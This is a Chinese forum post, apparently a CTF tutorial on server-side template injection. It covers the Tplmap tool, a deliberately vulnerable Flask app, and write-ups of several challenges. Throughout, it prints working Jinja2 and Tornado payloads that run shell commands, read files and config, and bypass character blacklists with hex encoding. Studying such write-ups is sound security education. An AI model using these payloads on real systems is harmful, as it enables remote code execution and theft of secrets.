用户
搜索
  • TA的每日心情
    慵懒
    7 天前
  • 签到天数: 7 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    0

    主题

    7

    帖子

    105

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2019-10-8

    i春秋签约作者

    发表于 2021-2-13 14:57:12 64554
    本帖最后由 fatmo 于 2021-2-13 15:01 编辑

    本文原创作者fatmo,本文属i春秋原创奖励计划,未经许可禁止转载。

    0x01 注入工具——Tplmap

    简介

    Tplmap是一款强大的SSTI注入工具,支持大部分流行模板引擎的自动注入,包括前文所述的Jinja2模板,具体支持的引擎如下图所示:

    08.png

    安装

    Tplmap使用python2编写,依赖于python2环境,安装较简单,在linux中依次输入以下指令即可:

    git clone https://github.com/epinna/tplmap.git
    cd tplmap
    pip install -r requirements.txt

    使用

    先在本地跑起flask服务:

    #导入Template
    from jinja2 import Template
    from flask import Flask,request
    
    app = Flask(__name__)
    
    @app.route("/")
    def index():
        #接收用户的get参数
        name = request.args.get('name')
    
        #将get参数name动态的显示在界面上
        t = Template('hello '+ name)
    
        #渲染模板,生成标准html代码
        return t.render()
    
    if __name__ == "__main__":
        app.run()

    09.png

    在终端输入:python tplmap.py -u http://127.0.0.1:5000/?name=ichunqiu,检测SSTI漏洞是否存在

    回显如下:

    [+] Tplmap 0.5
        Automatic Server-Side Template Injection Detection and Exploitation Tool
    
    [+] Testing if GET parameter 'name' is injectable
    [+] Smarty plugin is testing rendering with tag '*'
    [+] Smarty plugin is testing blind injection
    [+] Mako plugin is testing rendering with tag '${*}'
    [+] Mako plugin is testing blind injection
    [+] Python plugin is testing rendering with tag 'str(*)'
    [+] Python plugin is testing blind injection
    [+] Tornado plugin is testing rendering with tag '{{*}}'
    [+] Tornado plugin is testing blind injection
    [+] Jinja2 plugin is testing rendering with tag '{{*}}'
    [+] Jinja2 plugin has confirmed injection with tag '{{*}}'
    [+] Tplmap identified the following injection point:
    
      GET parameter: name
      Engine: Jinja2
      Injection: {{*}}
      Context: text
      OS: nt-win32
      Technique: render
      Capabilities:
    
       Shell command execution: no
       Bind and reverse shell: no
       File write: ok
       File read: ok
       Code evaluation: ok, python code
    
    [+] Rerun tplmap providing one of the following options:
    
        --upload LOCAL REMOTE       Upload files to the server
        --download REMOTE LOCAL     Download remote files

    可以看到,存在SSTI注入漏洞,而且拥有文件操作权限

    尝试下载源码:python tplmap.py -u http://127.0.0.1:5000/?name=ichunqiu --download ./app.py ./result.py

    回显如下:

    [+] Tplmap 0.5
        Automatic Server-Side Template Injection Detection and Exploitation Tool
    
    [+] Testing if GET parameter 'name' is injectable
    [+] Smarty plugin is testing rendering with tag '*'
    [+] Smarty plugin is testing blind injection
    [+] Mako plugin is testing rendering with tag '${*}'
    [+] Mako plugin is testing blind injection
    [+] Python plugin is testing rendering with tag 'str(*)'
    [+] Python plugin is testing blind injection
    [+] Tornado plugin is testing rendering with tag '{{*}}'
    [+] Tornado plugin is testing blind injection
    [+] Jinja2 plugin is testing rendering with tag '{{*}}'
    [+] Jinja2 plugin has confirmed injection with tag '{{*}}'
    [+] Tplmap identified the following injection point:
    
      GET parameter: name
      Engine: Jinja2
      Injection: {{*}}
      Context: text
      OS: nt-win32
      Technique: render
      Capabilities:
    
       Shell command execution: no
       Bind and reverse shell: no
       File write: ok
       File read: ok
       Code evaluation: ok, python code
    [plugin] Remote file md5 mismatch, check manually

    查看本地文件,成功下载源码:

    10.png

    以上为tplmap基本操作,接下来进入CTF实战

    0x02 CTF实例讲解

    攻防世界——Web_python_template_injection

    该题目被攻防世界收录

    01 进入页面,只有简单一行字

    22.png

    02 没有找到任何GET或POST参数,尝试使用burp爆破参数无果

    23.png

    03 尝试目录爆破无果

    24.png

    04 很纳闷,随便访问一个文件看看报错信息,是否开启了debug

    25.png

    05 看到回显,恍然大悟,注入点即报错信息

    06 直接丢Payload:

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %}

    26.png

    07 爆出该目录下有flag文件,直接丢文件读取Payload

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('fl4g', 'r').read() }}{% endif %}{% endfor %}

    08 结束

    27.png

    TokyoWesterns CTF——shrine

    攻防世界已收录该题

    01 进入页面,直接给出了源码

    28.png

    02 看到flag是从该程序环境变量里获取的,那么我们只需要读取{{config}}就可以拿到flag

    03 再看源码,存在路由/shrine/,但是config已经被加入了黑名单,只能通过其他的方法获取

    04 这里提供两个Payload

    {{url_for.__globals__['current_app'].config}}
    {{get_flashed_messages.__globals__['current_app'].config}}

    url_for和get_flashed_messages都是flask内置的函数,payload的原理就是利用这两个内置函数反查current_app获取其config属性

    29.png

    pasecactf_2019——flask_ssti

    本题已被buuctf收录

    01 题目给出了一段加密代码

    def encode(line, key, key2):
        return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
    app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')

    02 根据代码知道两个信息:

    • flag在config对象中
    • flag已经被这一段加密算法加密

    03 想办法获取config对象,看到网页有一个输入框:

    18.png

    04 尝试提交数据,发现页面回显了我们提交的数据,结合本体题目,应该是考察SSTI注入漏洞

    19.png

    05 传入参数nickname={{config}},尝试获取config对象,直接给爆出来了

    20.png

    06 flag为加密后的字符串,再分析之前给的加密算法,因为全部采用异或进行加密,所以加密算法就是解密算法。直接本地跑一下,得到flag

    21.png

    NCTF 2020——你就是我的master吗

    01 访问页面,页面很简单

    11.png

    02 查看源代码,发现参数name

    12.png

    03 输入参数访问,页面返回了参数,这种情况下大概率是SSTI

    13.png

    04 上工具tplmap,能识别出是Jinja2模板引擎,但是没有任何权限,应该是存在过滤

    [+] Tplmap 0.5
        Automatic Server-Side Template Injection Detection and Exploitation Tool
    
    [+] Testing if GET parameter 'name' is injectable
    [+] Smarty plugin is testing rendering with tag '*'
    [+] Smarty plugin is testing blind injection
    [+] Mako plugin is testing rendering with tag '${*}'
    [+] Mako plugin is testing blind injection
    [+] Python plugin is testing rendering with tag 'str(*)'
    [+] Python plugin is testing blind injection
    [+] Tornado plugin is testing rendering with tag '{{*}}'
    [+] Tornado plugin is testing blind injection
    [+] Jinja2 plugin is testing rendering with tag '{{*}}'
    [+] Jinja2 plugin has confirmed injection with tag '{{*}}'
    [+] Tplmap identified the following injection point:
    
      GET parameter: name
      Engine: Jinja2
      Injection: {{*}}
      Context: text
      OS: undetected
      Technique: render
      Capabilities:
    
       Shell command execution: no
       Bind and reverse shell: no
       File write: no
       File read: no
       Code evaluation: no
    
    [+] Rerun tplmap providing one of the following options:

    05 使用burp把过滤符号跑出来:

    14.png

    分析结果,被过滤的符号有:

    %  -  :  +  _  .  \  |

    一共8个,再尝试输入几个关键词,发现如class等关键词也被过滤

    06 构造payload

    以下为绕过思路:

    1. 原语句为:().__class__.__bases__[0].__subclasses__()
    2. 过滤了点号,使用[" "]代替:()["__class__"]["__bases__"][0]["__subclasses__"]()
    3. 过滤了下划线,使用十六进制\x5f代替:()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()
    4. 过滤了关键字,采用字符串拼接:()["\x5f\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fbas"+"es\x5f\x5f"][0]["\x5f\x5fsubc"+"lasses\x5f\x5f"]()
    5. 成功绕过过滤

    15.png

    07 细心的朋友应该能看出来此处有坑,最终的payload是()["\x5f\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fbas"+"es\x5f\x5f"][0]["\x5f\x5fsubc"+"lasses\x5f\x5f"](),存在+号,然而+号已经被过滤,为何能绕过?

    原因是payload号在传入python时,+号跑了,我们可以单步调试证实

    先给出题目的源码:

    from jinja2 import Template
    from flask import Flask,request
    
    app = Flask(__name__)
    
    @app.route("/")
    def index():
        name = request.args.get('name', 'guest')
    
        blacklist = ['%', '-', ':', '+', 'class', 'base', 'mro', '_', 'config', 'args', 'init', 'global', '.', '\'', 'req',
                     '|', 'attr', 'get']
    
        for i in blacklist:
            if i in name:
                return Template('你真是个小可爱').render()
    
        t = Template("早安,打工人<br/>你就是我的" + name + "吗?<br/><!--   ?name=master  -->")
        return t.render()
    
    if __name__ == "__main__":
        app.run()

    随意下一个断点,传入payload

    17.png

    可以看到,三个+号全都跑了,因此,这个payload其实是非预期解

    08 不过预期解和非预期解差不多,直接全部16进制编码就好

    Payload:

    ""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[64]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]("\x6f\x73")["\x70\x6f\x70\x65\x6e"]("ls")["\x72\x65\x61\x64"]()

    2018护网杯——easytornado

    此题也被攻防世界收录

    01 看题目应该是tornado框架,进入页面,发现有三个文件,依次查看

    30.png

    31.png

    32.png

    02 根据提示,flag在文件/fllllllllllllag中,直接修改url尝试读取

    03 直接报错了,因为filehash不正确,而这个报错页面很可疑,修改msg参数看是否有SSTI漏洞

    34.png

    04 页面回显了我们的参数,大概率存在SSTI注入,因为是tornado框架,不清楚其具体SSTI注入语句,直接丢工具里看看

    [+] Tplmap 0.5
        Automatic Server-Side Template Injection Detection and Exploitation Tool
    
    [+] Testing if GET parameter 'msg' is injectable
    [+] Smarty plugin is testing rendering with tag '*'
    [+] Smarty plugin is testing blind injection
    [+] Mako plugin is testing rendering with tag '${*}'
    [+] Mako plugin is testing blind injection
    [+] Python plugin is testing rendering with tag 'str(*)'
    [+] Python plugin is testing blind injection
    [+] Tornado plugin is testing rendering with tag '{{*}}'
    [+] Tornado plugin is testing blind injection
    [+] Jinja2 plugin is testing rendering with tag '{{*}}'
    [+] Jinja2 plugin is testing blind injection
    [+] Twig plugin is testing rendering with tag '{{*}}'
    [+] Twig plugin is testing blind injection
    [+] Freemarker plugin is testing rendering with tag '*'
    [+] Freemarker plugin is testing blind injection
    [+] Velocity plugin is testing rendering with tag '*'
    [+] Velocity plugin is testing blind injection
    [+] Slim plugin is testing rendering with tag '"#{*}"'
    [+] Slim plugin is testing blind injection
    [+] Erb plugin is testing rendering with tag '"#{*}"'
    [+] Erb plugin is testing blind injection
    [+] Pug plugin is testing rendering with tag '\n= *\n'
    [+] Pug plugin is testing blind injection
    [+] Nunjucks plugin is testing rendering with tag '{{*}}'
    [+] Nunjucks plugin is testing blind injection
    [+] Dot plugin is testing rendering with tag '{{=*}}'
    [+] Dot plugin is testing blind injection
    [+] Dust plugin is testing rendering
    [+] Dust plugin is testing blind injection
    [+] Marko plugin is testing rendering with tag '${*}'
    [+] Marko plugin is testing blind injection
    [+] Javascript plugin is testing rendering with tag '*'
    [+] Javascript plugin is testing blind injection
    [+] Php plugin is testing rendering with tag '*'
    [+] Php plugin is testing blind injection
    [+] Ruby plugin is testing rendering with tag '"#{*}"'
    [+] Ruby plugin is testing blind injection
    [+] Ejs plugin is testing rendering with tag '*'
    [+] Ejs plugin is testing blind injection
    [!][checks] Tested parameters appear to be not injectable.

    05 工具没跑出来,应该是存在过滤。再看题目提示,filehash需要文件名和cookie_secret生成,那思路就很清晰了,SSTI注入获得该网站cookie_secret

    06 百度了一篇关于tornado框架SSTI注入的文章(见参考链接),尝试他的Payload:?msg={{handler.settings}},成功了

    35.png

    07 直接手动生成以下filehash

    36.png

    08 尝试读取文件,拿下了

    37.png

    0x03 总结

    SSTI注入是CTF中出场率较高的题型,且CTF题目一般都喜欢在考察SSTI的基础上下绊子,如上述题目中有的题目加了过滤,有的题目加入了base64编码,有的题目加入了异或加密,想做好这一类题目,需要我们巩固知识和勤加实战,单单懂得SSTI的原理和基本方法是无法完成题目的。

    0x04 参考链接

    https://www.cnblogs.com/cimuhuashuimu/p/11544455.html

    33.png
    发表于 2021-2-19 12:59:21
    这个不错,感谢分享!!!
    让我们一起干大事!
    有兴趣的表哥加村长QQ:780876774!
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    等一个python3.7版本 我就是你的I春秋
    使用道具 举报 回复
    发表于 2021-2-19 16:12:28
    感谢lz分享
    使用道具 举报 回复

    等一个python3.7版本
    使用道具 举报 回复
    发表于 2021-2-19 16:27:46
    等一个python3.7版本
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册